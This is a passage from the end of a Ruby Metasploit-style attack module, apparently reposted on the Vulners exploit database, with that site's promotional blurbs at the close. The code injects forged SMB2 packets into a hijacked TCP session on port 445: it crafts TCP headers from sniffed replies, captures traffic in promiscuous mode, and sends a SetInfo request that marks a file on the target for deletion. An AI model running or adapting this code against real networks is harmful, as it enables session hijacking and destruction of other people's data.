response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1])  
request = RubySMB::SMB2::Packet::SetInfoRequest.new  
set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.file_info_class = RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION  
request.buffer.delete_pending = 1  
request.file_id = response_smb2.file_id  
packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response))  
packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}"  
response = get_response(packet)  
return true # Done.  
end  
  
# This sends a packet and captures the response.  
def get_response(packet)  
packet.recalc  
rc = PacketFu::Capture.new(iface: @interface, promisc: true)  
rc.capture  
rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42 and tcp[4:4] = #{packet.tcp_header.tcp_ack}")  
packet.to_w(@interface)  
rc.stream.each_data do |data|  
packet = PacketFu::Packet.parse(data)  
if packet.instance_of?(PacketFu::TCPPacket)  
break packet  
end  
end  
end  
  
# This generates the TCP header for a new packet based on the previous one.  
def make_tcp_header(response)  
PacketFu::TCPHeader.new(  
tcp_src: response.tcp_header.tcp_dst,  
tcp_dst: response.tcp_header.tcp_src,  
tcp_seq: response.tcp_header.tcp_ack,  
tcp_ack: response.tcp_header.tcp_seq + response.payload.size,  
tcp_win: response.tcp_header.tcp_win,  
tcp_flags: { ack: 1, psh: 1 }  
)  
end  
  
# This sets the smb2 header flags on the request with the provided values.  
def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2)  
request.smb2_header.tree_id = tree_id  
request.smb2_header.process_id = process_id  
request.smb2_header.credit_charge = 1  
request.smb2_header.credits = 256  
request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1  
request.smb2_header.session_id = response_smb2.smb2_header.session_id  
nil  
end  
  
# This converts a string to a binary mac.  
def str2mac(str)  
# [str.split(':').join].pack('H*')  
Rex::Socket.eth_aton(str)  
end  
  
# This converts a binary mac to a string.  
def mac2str(mac)  
# mac.to_s.bytes.map { |s| s.to_s(16).rjust(2, '0') }.join(':')  
Rex::Socket.eth_ntoa(mac)  
end  
  
# This converts a string to a binary ip.  
def str2ip(str)  
# str.split('.').map(&:to_i).pack('C*')  
Rex::Socket.addr_aton(str)  
end  
  
# This converts a binary ip to a string.  
def ip2str(ip)  
# ip.bytes.map(&:to_s).join('.')  
Rex::Socket.addr_ntoa(ip)  
end  
  
# This converts an integer to a binary ip.  
def int2ip(int)  
# [int].pack('N')  
Rex::Socket.addr_iton(int)  
end  
  
# This cleans up and exits all the active threads.  
def cleanup  
@cleanup_mutex.synchronize do  
unless @cleanedup  
print_status 'Cleaning Up...'  
@syn_capture_thread.exit if @syn_capture_thread  
@ack_capture_thread.exit if @ack_capture_thread  
@main_threads.map(&:exit) if @main_threads  
reset_p445_fwrd  
@cleanedup = true  
print_status 'Cleaned Up.'  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation